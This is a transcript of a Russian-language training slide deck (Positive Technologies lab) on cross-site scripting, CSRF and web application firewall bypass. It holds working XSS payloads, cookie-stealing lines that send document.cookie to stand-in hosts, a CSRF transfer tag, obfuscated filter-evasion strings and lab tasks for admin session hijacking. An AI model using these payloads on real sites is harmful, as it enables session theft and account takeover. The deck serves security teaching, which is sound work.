Top Banner
Лабораторная работа по теме «Межсайтовое выполнение сценариев» Дмитрий Евтеев Positive Technologies
43

PT MIFI Labxss

Nov 11, 2014

Download

Documents

Dmitry Evteev

 
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: PT MIFI Labxss

Лабораторная работа по теме «Межсайтовое выполнение сценариев»

Дмитрий Евтеев

Positive Technologies

Page 2: PT MIFI Labxss

План лабораторной работы

Введение в тему безопасности Web-приложений

Уязвимость типа «Межсайтовое выполнение

сценариев»

Межсайтовое выполнение сценариев в Java/Flash-

приложениях

Обход фильтров безопасности и Web Application

Firewall (WAF)

Резюме

Page 3: PT MIFI Labxss

Введение в тему безопасности Web-приложений…

Page 4: PT MIFI Labxss

Опасный мир Web-приложений

По данным компании Positive Technologies за 2009 год

• 79% сайтов содержат критические уязвимости

• 58% сайтов содержат уязвимости средней степени риска

• 54% сайтов содержат уязвимости, которые эксплуатируются на стороне клиента

http://ptsecurity.ru/analytics.asp

Данные основываются на проведении 6239 автоматических сканирований, детальном анализе 77 Web-приложений, преимущественно с использованием методики «черного ящика».

Page 5: PT MIFI Labxss

Распределение вероятности обнаружения уязвимостей по степени риска (данные за 2009 год)

http://ptsecurity.ru/analytics.asp

Page 6: PT MIFI Labxss

Классификация уязвимостей в web-приложениях

Web Application Security Consortium WASC-TCv2 / OWASP Top 10

CWE/SANS Top 25 Most Dangerous Programming Errors 2010

Threat Classification References Mapping Proposal

http://projects.webappsec.org/Threat%20Classification%20References%20Mapping%20Proposal

http://projects.webappsec.org/Threat-Classificationhttp://www.owasp.org/index.php/Category:OWASP_Top_Ten_Projecthttp://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.pdf

Page 7: PT MIFI Labxss

Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика»

Опасный мир Web-приложений: статистика за 2009 г.

Page 8: PT MIFI Labxss

Часть 1: Межсайтовое выполнение сценариев

Уязвимость типа «Межсайтовое выполнение сценариев» (Cross-site Scripting, XSS)

Page 9: PT MIFI Labxss

Cross-Site Scripting – Базовые знания

"Межсайтовое выполнение сценариев"

Уязвимость Cross-Site Scripting (XSS) связана с возможностью внедрения HTML-кода в уязвимую страницу. Внедрение кода может осуществляться через все доступные способы ввода информации. Успешная эксплуатация уязвимости может позволить атакующему использовать значения различных переменных, доступных в контексте сайта, записывать информацию, перехватывать сессии пользователей и т.д.

Page 10: PT MIFI Labxss

"Межсайтовое выполнение сценариев" может использоваться для:

• Подмены содержимого сайта (content spoofing, fishing)

• Получения доступа к данным в контексте уязвимого сайта

(например, к содержимому document.cookie)

• Проведения атак на компоненты среды клиента (браузер,

ActiveX, Adobe, etc.)

• Распространения вредоносного

кода (ajax-worms)

Cross-Site Scripting – Базовые знания

Page 11: PT MIFI Labxss

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»

Web-серверhttp://web/?search=WhatIsWebSecurity

...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value="What Is Web Security"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...

Page 12: PT MIFI Labxss

Наглядный пример уязвимости типа «Межсайтовое выполнение сценариев»

Web-серверhttp://web/?search="><script>alert('XSS')</script>

...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...

Page 13: PT MIFI Labxss

Cross-Site Scripting – Базовые знания

Условно Cross-Site Scripting (XSS) делят на следующие типы:

• Сохраненный вариант (persistent/stored)• Отраженный вариант (non-persistent/reflected)

Cross-Site Scripting обычно можно встретить:• В HTML-теге• В теле JavaScript/VBScript/etc (eq DOM-based)• В коде-HTML• В параметре тега-HTML• В Java/Flash приложениях• В ActiveX• …

Cross-Site Scripting – это уязвимость на стороне клиента (client side)

• Microsoft Internet Explorer 8 XSS filter• Mozilla NoScript Firefox extension

Page 14: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Возможный метод обнаружения уязвимости

/?id="><script>alert(1)</script>

• HTML-код возвращаемой страницы примет вид

В параметре тега …<font size=""><script>alert(1)</script>"…

В тексте …<p>"><script>alert(1)</script></p>…

• В результате браузер выполнит JavaScript-код

Пример практического использования:

"><script src=http://host/script.js></script>

Page 15: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Пример (1) – по событию

Уязвимый HTML-код:…<IMG SRC="$filename">…

Эксплуатация:/?filename="onerror=alert('XSS');"/?filename="onerror=javascript:alert('XSS');"…

HTML-код возвращаемой страницы примет вид:…<IMG SRC=""onerror=alert('XSS');"">…

Пример практического использования:

/?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(document.cookie);"

Page 16: PT MIFI Labxss

Cross-Site Scripting – Различия браузеров

http://projects.webappsec.org/Script-Mapping

Page 17: PT MIFI Labxss

Cross-Site Scripting – Классическая эксплуатация

Пример (2) – DOM-based

Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring

(document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...

Штатная работа сценария:/?default=Russia/?default=French…

Эксплуатация:/?default=<script>alert(document.cookie)</script>

Page 18: PT MIFI Labxss

Cross-Site Scripting – Безопасность Cookie

Атрибуты Cookie

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]

[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure][; HTTPOnly]

Page 19: PT MIFI Labxss

Наглядный пример атаки с использованием уязвимости типа «Межсайтовое выполнение сценариев»

Web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search="><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

5. Например, передача Web-сессии (cookies)

6. Работа с Web-приложением от имени атакованного пользователя

Page 20: PT MIFI Labxss

Практическое занятие (1)

http://192.168.0.51:80/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Создать сниффер для записи полезных

данных.

• Осуществить перехват сессии администратора приложения.

• Авторизоваться под учетной записью администратора приложения.

Page 21: PT MIFI Labxss

Часть 2: Межсайтовое выполнение сценариев в Java/Flash

Межсайтовое выполнение сценариев в Java/Flash-приложениях

Page 22: PT MIFI Labxss

XSS && CSRF – Базовые знания

Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request Forgery, CSRF, XSRF)

• Практически не входит в статистику уязвимостей Positive Technologies и WASC по автоматизированным сканированиям (сложности при автоматизированном обнаружении)

• В основном, эта ошибка встречается в том или ином виде во всех проанализированных веб-приложениях

• Степень опасности уязвимости CSRF на прямую зависит от функций и задач, решаемых приложением

Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению

Уязвимость известна и используется с 1988 г., но только сейчас стало заметно движение в сторону ее повсеместного устранения (крупные Интернет-проекты, приложения eCommerce и др.)

Зачастую применяется связка XSS + CSRF

Page 23: PT MIFI Labxss

Наглядный пример атаки с использованием уязвимости типа«Подделка HTTP-запросов»

Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

4. Если сессия пользователя существует, то…

Page 24: PT MIFI Labxss

document.domain = "example.com"; (!)

Методы обхода - Anti DNS Pinning, уязвимости реализации

Ограничения политики доступа (Same origin policy)

URL Результат Причины

http://www.example.com/dir/page.html Разрешено Одинаковый протокол и узел

http://www.example.com/dir2/other.html Разрешено Одинаковый протокол и узел

http://www.example.com:81/dir2/other.html ЗапрещеноОдинаковый протокол и узел, но

различающийся порт

https://www.example.com/dir2/other.html Запрещено Различающиеся протоколы

http://en.example.com/dir2/other.html Запрещено Различающиеся узлы

http://example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные

соответствия)

http://v2.www.example.com/dir2/other.html ЗапрещеноРазличающиеся узлы (необходимы точные

соответствия)

Page 25: PT MIFI Labxss

Для безопасности используются изолированные зоны безопасности (Sandbox security model)

Легальный способ расширения зоны безопасности – это использование файла «crossdomain.xml»

<cross-domain-policy>

<allow-access-from domain="*"/>

</cross-domain-policy>

Или вызов соответствующей функции

System.security.loadPolicyFile ("http://site/crossdomain.xml");

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 26: PT MIFI Labxss

Потенциально небезопасные функции ActionScript:loadVariables() loadMovie() getURL() loadMovie() loadMovieNum() FScrollPane.loadScrollContent() LoadVars.load() LoadVars.send() LoadVars.sendAndLoad() MovieClip.getURL() MovieClip.loadMovie() NetConnection.connect() NetServices.createGatewayConnection() NetSteam.play() Sound.loadSound() XML.load() XML.send() XML.sendAndLoad()

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 27: PT MIFI Labxss

Пример уязвимого кода на языке JAVA

Cross-Site Scripting (Java/Flash) – Базовые знания

Page 28: PT MIFI Labxss

Практическое занятие (2)

http://192.168.0.51:81/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Воспользоваться AJAX-сценарием

http://192.168.0.51:8085/act.js

для автоматизированной эксплуатации уязвимости «Межсайтовое

выполнение сценариев».

• Воспользоваться уязвимостью типа «Межсайтовое выполнение сценариев» с

автоматическим созданием нового пользователя в тестовом приложении.

• Авторизоваться под учетной записью созданного пользователя.

Page 29: PT MIFI Labxss

Часть 3: Обход фильтров безопасности и WAF

Обход фильтров безопасности и WAF

Page 30: PT MIFI Labxss

Что такое WAF

http://server/?id=6329&print=Y

Нас атакуют!

Ахтунг!!!

WAF Webserverhttp://server/?id=5351

http://server/?id=8234

http://server/?id="><script>...

http://server/?id=1+union+select...

http://server/?id=/../../../etc/passwd

Нормализация данныхDecode HTML entities (e.g. &#99;, &quot;, &#xAA;)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...

Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...

Page 31: PT MIFI Labxss

Какие они бывают

По режиму работы:

• Мост/Маршрутизатор

• Обратный прокси-сервер

• Встроенный

По модели защиты:

• Основанный на сигнатуре (Signature-based)

• Основанный на правилах (Rule-based)

По реакции на «плохой» запрос:

• Очистка «опасных» данных

• Блокировка запроса

• Блокировка источника атаки

Page 32: PT MIFI Labxss

Методы обхода WAF

Фундаментальные ограничения технологии

• Неспособность полностью защитить Web-приложение от всех возможных уязвимостей

Общие проблемы

• Разработчикам универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика

• Обработка возвращаемого трафика клиенту

Уязвимости реализации

• Технологии нормализации запроса

• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)

Page 33: PT MIFI Labxss

Общие проблемы

• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не

сможет воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//

• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie

Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting

Page 34: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

Пример: <script>alert(1)</script>

Hex-кодирование (URL-представление)

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

HTML-кодирование

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

UTF7

+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-

… UTF8, base64, escape-encoding (style), etc

Page 35: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

Пример с BlackHat USA09:

<script>

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

</script>

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf;

Page 36: PT MIFI Labxss

Методы обхода WAF: Возможные способы кодирования JavaScript

http://utf-8.jp/public/jjencode.html

Page 37: PT MIFI Labxss

Практика обхода WAF: Cross-Site Scripting

Обход правил фильтрации на примере ModSecurity:

1;alert/*skip*/('XSS');

<img src="x:alert" onerror="eval(src%2b'(0)')">

";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"

...

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Page 38: PT MIFI Labxss

Практическое занятие (3)

http://192.168.0.51:82/

• Найти уязвимость типа «Межсайтовое

выполнение сценариев».

• Воспользоваться техникой обхода WAF.

• Осуществить перехват сессии администратора приложения.

• Восстановить используемый пароль администратора приложения по

перехваченному хеш-значению md5 используемого пароля.

• Авторизоваться под учетной записью администратора приложения.

Page 39: PT MIFI Labxss

Резюме лабораторной работы

Page 40: PT MIFI Labxss

Межсайтовое выполнение сценариев часто встречается на широко известных и крупных Интернет-ресурсах

Cross-Site Scripting в «живой природе»

Page 41: PT MIFI Labxss

Резюме

Cross-Site Scripting – широко распространенная ошибка, допускаемая при разработке приложений

Пути устранения уязвимости типа «Межсайтовое выполнение сценариев» не всегда прозрачны

Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде

Защита Web-приложений, также как и информационная безопасность в целом должна быть комплексной :)

Page 42: PT MIFI Labxss

Дополнительные материалы и ссылки

Web Application Security Consortium (WASC)

http://projects.webappsec.org/Cross-Site+Scripting

http://projects.webappsec.org/Script-Mapping

Open Web Application Security Project (OWASP)

http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

ha.ckers XSS (Cross Site Scripting) Cheat Sheet

http://ha.ckers.org/xss.html

Jjencode

http://utf-8.jp/public/jjencode.html

Page 43: PT MIFI Labxss

Спасибо за внимание!

[email protected]

http://devteev.blogspot.com/http://ptresearch.blogspot.com/ http://www.ptsecurity.ru/